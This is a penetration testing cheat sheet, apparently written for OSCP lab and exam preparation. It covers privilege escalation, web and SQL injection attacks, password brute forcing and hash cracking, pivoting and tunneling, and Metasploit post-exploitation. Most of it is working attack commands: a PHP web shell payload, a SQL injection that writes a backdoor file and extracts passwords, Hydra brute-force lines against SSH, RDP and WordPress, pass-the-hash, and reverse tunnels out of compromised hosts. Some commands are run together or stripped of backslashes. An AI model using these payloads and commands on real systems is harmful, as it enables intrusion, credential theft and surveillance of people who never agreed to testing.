  • Windows Run As – Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
    • Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
    • Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
    • PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

      Next run this script using powershell.exe:

      powershell -ExecutionPolicy ByPass -command "& { . C:UserspublicPowerShellRunAs.ps1; }"

  • Windows Service Configuration Viewer – Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
    icacls scsiaccess.exe

  • Compile a custom add user command in windows using C

    i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

  • Group Policy Preferences (GPP)
    A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files

    • map the Domain controller SYSVOL sharenet use z:\dc01SYSVOL
    • Find the GPP file: Groups.xmldir /s Groups.xml
    • Review the contents for passwordstype Groups.xml
    • Decrypt using GPP Decryptgpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
  • Find and display the proof.txt or flag.txt – get the loot!#meterpreter > run post/windows/gather/win_privs cd & dir /b /s proof.txt type c:pathtoproof.txt

Client, Web and Password Attacks

  • Client Attacks

  • Web Attacks

    • Web Shag Web Application Vulnerability Assessment Platform
    • Web Shells
      ls -l /usr/share/webshells/
    • Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
      weevely generate s3cr3t
      weevely http://$ip/weevely.php s3cr3t
    • Java Signed Applet Attack
    • HTTP / HTTPS Webserver Enumeration
      • OWASP Dirbuster
      • nikto -h $ip
    • Essential Iceweasel Add-ons
      Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
      Tamper Data
    • Cross Site Scripting (XSS)
      significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more
    • Browser Redirection and IFRAME Injection
    • Stealing Cookies and Session Information

      nc -nlvp 80

  • File Inclusion Vulnerabilities

    • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
    • fimap – There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):

      • Gaining a shell from phpinfo()
        fimap + phpinfo() Exploit – If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
    • For Local File Inclusions look for the include() function in PHP code.
    • LFI – Encode and Decode a file using base64
    • LFI – Download file with base 64 encoding
    • LFI Linux Files:
    • LFI Windows Files:
    • LFI OSX Files:
    • LFI – Download passwords file
    • LFI – Download passwords file with filter evasion
    • Local File Inclusion – In versions of PHP below 5.3 we can terminate with null byte
      GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
    • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>
    • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files/etc/php5/cgi/php.ini – “allow_url_fopen” and “allow_url_include” both set to “on”include($_REQUEST["file"].".php");
    • Remote File Inclusionhttp://<?php echo shell_exec("ipconfig");?>
  • Database Vulnerabilities

    • Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:


    Another site is rextester.com:


    • Detecting SQL Injection Vulnerabilities.Most modern automated scanner tools use time delay techniques to detect SQL injection vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it is a “blind” sql injection vulnerabilit that does not provide any data back. You know your SQL injection is working when the server takes a LOooooong time to respond. I have added a line comment at the end of each injection statement just in case there is additional SQL code after the injection point.
      • MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a MSSQL Server Query
        • Original QuerySELECT * FROM products WHERE name='Test';
        • Injection Value'; WAITFOR DELAY '00:00:30'; --
        • Resulting QuerySELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --
      • MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query
        • Original QuerySELECT * FROM products WHERE name='Test';
        • Injection Value'-SLEEP(30); #
        • Resulting QuerySELECT * FROM products WHERE name='Test'-SLEEP(30); #
      • PostGreSQL Injection Time Delay Detection: Add a 30 second delay to an PostGreSQL Query
        • Original QuerySELECT * FROM products WHERE name='Test';
        • Injection Value'; SELECT pg_sleep(30); --
        • Resulting QuerySELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --
    • Grab password hashes from a web application mysql database called “Users” – once you have the MySQL root username and password
    • Authentication Bypass
    • Enumerating the Databasehttp://'Verbose error message?http://$ip/comment.php?id=738 order by 1

      http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

      Determine MySQL Version:

      http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

      Current user being used for the database connection:

      http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

      Enumerate database tables and column structures

      http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

      Target the users table in the database

      http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'

      Extract the name and password

      http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users

      Create a backdoor

      http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

    • SQLMap Examples
    • Crawl the linkssqlmap -u http://$ip --crawl=1sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
    • SQLMap Search for databases against a suspected GET SQL Injectionsqlmap –u http://$ip/blog/index.php?search –dbs
    • SQLMap dump tables from database oscommerce at GET SQL injectionsqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps
    • SQLMap GET Parameter commandsqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5
    • SQLMap Post Username parametersqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all
    • SQL Map OS Shellsqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshellsqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell
    • Automated sqlmap scansqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"
    • Targeted sqlmap scansqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump
    • Scan url for union + error based injection with mysql backend and use a random user agent + database dumpsqlmap -o -u http://$ip/index.php --forms --dbssqlmap -o -u "http://$ip/form/" --forms
    • Sqlmap check form for injectionsqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump
    • Enumerate databasessqlmap --dbms=mysql -u "$URL" --dbs
    • Enumerate tables from a specific databasesqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
    • Dump table data from a specific database and tablesqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
    • Specify parameter to exploitsqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2
    • Specify parameter to exploit in ‘nice’ URIs (exploits param1)sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs
    • Get OS shellsqlmap --dbms=mysql -u "$URL" --os-shell
    • Get SQL shellsqlmap --dbms=mysql -u "$URL" --sql-shell
    • SQL querysqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
    • Use Tor Socks5 proxysqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
  • NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP journies (/cgi-bin/mongo/2.2.3/dbparse.py). NoSQLMap can help you to automate NoSQLDatabase enumeration.
  • NoSQLMap Installation

  • Often you can create an exception dump message with MongoDB using a malformed NoSQLQuery such as:a'; return this.a != 'BadData’'; var dummy='!
  • Password Attacks

    • AES Decryption
    • Convert multiple webpages into a word list

    • Or convert html to word list dict
      html2dic index.html.out | sort -u > index-html.dict
    • Default Usernames and Passwords
    • Brute Force
      • Nmap Brute forcing Scripts
      • Nmap Generic auto detect brute force attack: nmap --script brute -Pn <target.com or ip>
      • MySQL nmap brute force attack: nmap --script=mysql-brute $ip
    • Dictionary Files
      • Word lists on Kali
        cd /usr/share/wordlists
    • Key-space Brute Force
      • crunch 6 6 0123456789ABCDEF -o crunch1.txt
      • crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
      • crunch 8 8 -t ,@@^^%%%
    • Pwdump and Fgdump – Security Accounts Manager (SAM)
      • pwdump.exe – attempts to extract password hashes
      • fgdump.exe – attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.
    • Windows Credential Editor (WCE)
      • allows one to perform several attacks to obtain clear text passwords and hashes. Usage: wce -w
    • Mimikatz
      • extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
        https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access):

    • Password Profiling
      • cewl can generate a password list from a web page
        cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
    • Password Mutating
      • John the ripper can mutate password lists
        nano /etc/john/john.conf
        john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
    • Medusa
      • Medusa, initiated against an htaccess protected web directory
        medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
    • Ncrack
      • ncrack (from the makers of nmap) can brute force RDP
        ncrack -vv --user offsec -P password-file.txt rdp://$ip
    • Hydra
      • Hydra brute force against SNMPhydra -P password-file.txt -v $ip snmp
      • Hydra FTP known user and rockyou password listhydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp
      • Hydra SSH using list of users and passwordshydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
      • Hydra SSH using a known password and a username listhydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
      • Hydra SSH Against Known username on port 22hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt
      • Hydra POP3 Brute Forcehydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
      • Hydra SMTP Brute Forcehydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
      • Hydra attack http get 401 login with a dictionaryhydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
      • Hydra attack Windows Remote Desktop with rockyouhydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
      • Hydra brute force SMB user with rockyou:hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb
      • Hydra brute force a WordPress admin loginhydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
  • Password Hash Attacks

    apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev


    apt-get install pocl-opencl-icd

    Cracking Linux Hashes – /etc/shadow file

    Cracking Windows Hashes

    Cracking Common Application Hashes

    Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

    Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

    hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

    WordPress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

    WordPress clear text: test

    Hashcat example cracking WordPress passwords using rockyou:

    hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt

    • Sample Hashes
    • Identify Hasheshash-identifier
    • To crack linux hashes you must first unshadow them:unshadow passwd-file.txt shadow-file.txtunshadow passwd-file.txt shadow-file.txt > unshadowed.txt
  • John the Ripper – Password Hash Cracking
    • john $ip.pwdump
    • john --wordlist=/usr/share/wordlists/rockyou.txt hashes
    • john --rules --wordlist=/usr/share/wordlists/rockyou.txt
    • john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
    • JTR forced descrypt cracking with wordlistjohn --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt
    • JTR forced descrypt brute force crackingjohn --format=descrypt hash --show
  • Passing the Hash in Windows
    • Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

  • Port Forwarding – accept traffic on a given IP address and port and redirect it to a different IP address and port
    • apt-get install rinetd
    • cat /etc/rinetd.conf
  • SSH Local Port Forwarding: supports bi-directional communication channels
    • ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
  • SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
    • ssh <gateway> -R <remote port to bind>:<local host>:<local port>
  • SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
    • ssh -D <local proxy port> -p <remote port> <target>
  • Proxychains – Perform nmap scan within a DMZ from an external computer
    • Create reverse SSH tunnel from Popped machine on :2222ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host>
    • Create a Dynamic application-level port forward on 8080 thru 2222ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>
    • Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chainsproxychains nmap --top-ports=20 -sT -Pn $ip/24
  • HTTP Tunnelingnc -vvn $ip 8888
  • Traffic Encapsulation – Bypassing deep packet inspection
    • http tunnel
      On server side:
      sudo hts -F <server ip addr>:<port of your app> 80 On client side:
      sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
  • Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
    • Tunnel on port 22plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
    • Port 22 blocked? Try port 80? or 443?plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
  • Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
    • Windows machine add required firewall rules without prompting the user
    • netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
    • netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
    • netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
    • netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079
    • Start the http tunnel clienthttptunnel_client.exe
    • Create HTTP reverse shell by connecting to localhost port 3000plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000
  • VLAN Hopping
  • VPN Hacking
    • Identify VPN servers:
      ./udp-protocol-scanner.pl -p ike $ip
    • Scan a range for VPN servers:
      ./udp-protocol-scanner.pl -p ike -f ip.txt
    • Use IKEForce to enumerate or dictionary attack VPN servers:pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.gitPerform IKE VPN enumeration with IKEForce:

      ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

      Bruteforce IKE VPN using IKEForce:

      ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash:

      Use psk-crack to crack the PSK hash

  • PPTP Hacking
    • Identifying PPTP, it listens on TCP: 1723
      NMAP PPTP Fingerprint:nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attackthc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
  • Port Forwarding/Redirection
  • PuTTY Link tunnel – SSH Tunneling
    • Forward remote port to local address:plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>
  • SSH Pivoting
    • SSH pivoting from one network to another:ssh -D <local host>:1010 -p 22 user@<remote host>
  • DNS Tunneling
    • dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
    • Attacking Machine Installation:
    • Run dnscat2:
    • Target Machine:
      https://downloads.skullsecurity.org/dnscat2/https://github.com/lukebaggett/dnscat2-powershell/dnscat --host <dnscat server ip>

The Metasploit Framework

  • See Metasploit Unleashed Course in the Essentials
  • Search for exploits using Metasploit GitHub framework source code:
    Translate them for use on OSCP LAB or EXAM.
  • Metasploit
    • MetaSploit requires Postfresqlsystemctl start postgresql
    • To enable Postgresql on startupsystemctl enable postgresql
  • MSF Syntax
    • Start metasploitmsfconsolemsfconsole -q
    • Show help for commandshow -h
    • Show Auxiliary modulesshow auxiliary
    • Use a module
    • Show the basic information for a moduleinfo
    • Show the configuration parameters for a moduleshow options
    • Set options for a module
    • Run the modulerun
    • Execute an Exploitexploit
    • Search for a modulesearch type:auxiliary login
  • Metasploit Database Access
    • Show all hosts discovered in the MSF databasehosts
    • Scan for hosts and store them in the MSF databasedb_nmap
    • Search machines for specific ports in MSF databaseservices -p 443
    • Leverage MSF database to scan SMB ports (auto-completed rhosts)services -p 443 --rhosts
  • Staged and Non-staged
    • Non-staged payload – is a payload that is sent in its entirety in one go
    • Staged – sent in two parts Not have enough buffer space Or need to bypass antivirus
  • MS 17-010 – EternalBlue
    • You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: https://www.youtube.com/watch?v=4OHLor9VaRI
      1. First step is to configure the Kali to work with wine 32bit

      dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine wine cmd.exe exit

    1. Download the exploit repostory https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
    2. Move the exploit to /usr/share/metasploit-framework/modules/exploits/windows/smb or ~/.msf4/modules/exploits/windows/smb
    3. Start metasploit console
    • I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.use exploit/windows/smb/eternalblue_doublepulsar
      msf exploit(eternalblue_doublepulsar) > set RHOST
      RHOST =>
      msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
      PROCESSINJECT => spoolsv.exe
      msf exploit(eternalblue_doublepulsar) > run
  • Experimenting with Meterpreter
    • Get system information from Meterpreter Shellsysinfo
    • Get user id from Meterpreter Shellgetuid
    • Search for a filesearch -f *pass*.txt
    • Upload a fileupload /usr/share/windows-binaries/nc.exe c:\Users\Offsec
    • Download a filedownload c:\Windows\system32\calc.exe /tmp/calc.exe
    • Invoke a command shell from Meterpreter Shellshell
    • Exit the meterpreter shellexit
  • Metasploit Exploit Multi Handler
    • multi/handler to accept an incoming reverse_https_meterpreter
  • Building Your Own MSF Module
  • Post Exploitation with Metasploit – (available options depend on OS and Meterpreter Cababilities)
    • download Download a file or directory
      upload Upload a file or directory
      portfwd Forward a local port to a remote service
      route View and modify the routing table
      keyscan_start Start capturing keystrokes
      keyscan_stop Stop capturing keystrokes
      screenshot Grab a screenshot of the interactive desktop
      record_mic Record audio from the default microphone for X seconds
      webcam_snap Take a snapshot from the specified webcam
      getsystem Attempt to elevate your privilege to that of local system.
      hashdump Dumps the contents of the SAM database
  • Meterpreter Post Exploitation Features
    • Create a Meterpreter background sessionbackground

Bypassing Antivirus Software

  • Crypting Known Malware with Software Protectors
    • One such open source crypter, called Hyperion

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About Me

About Me

My name is Nguyen Anh Tai. I am an independent security researcher, bug hunter and leader a security team. Security Researcher at CMC INFOSEC. I developed the every system for fun :D. My aim is to become an expert in security and xxx!

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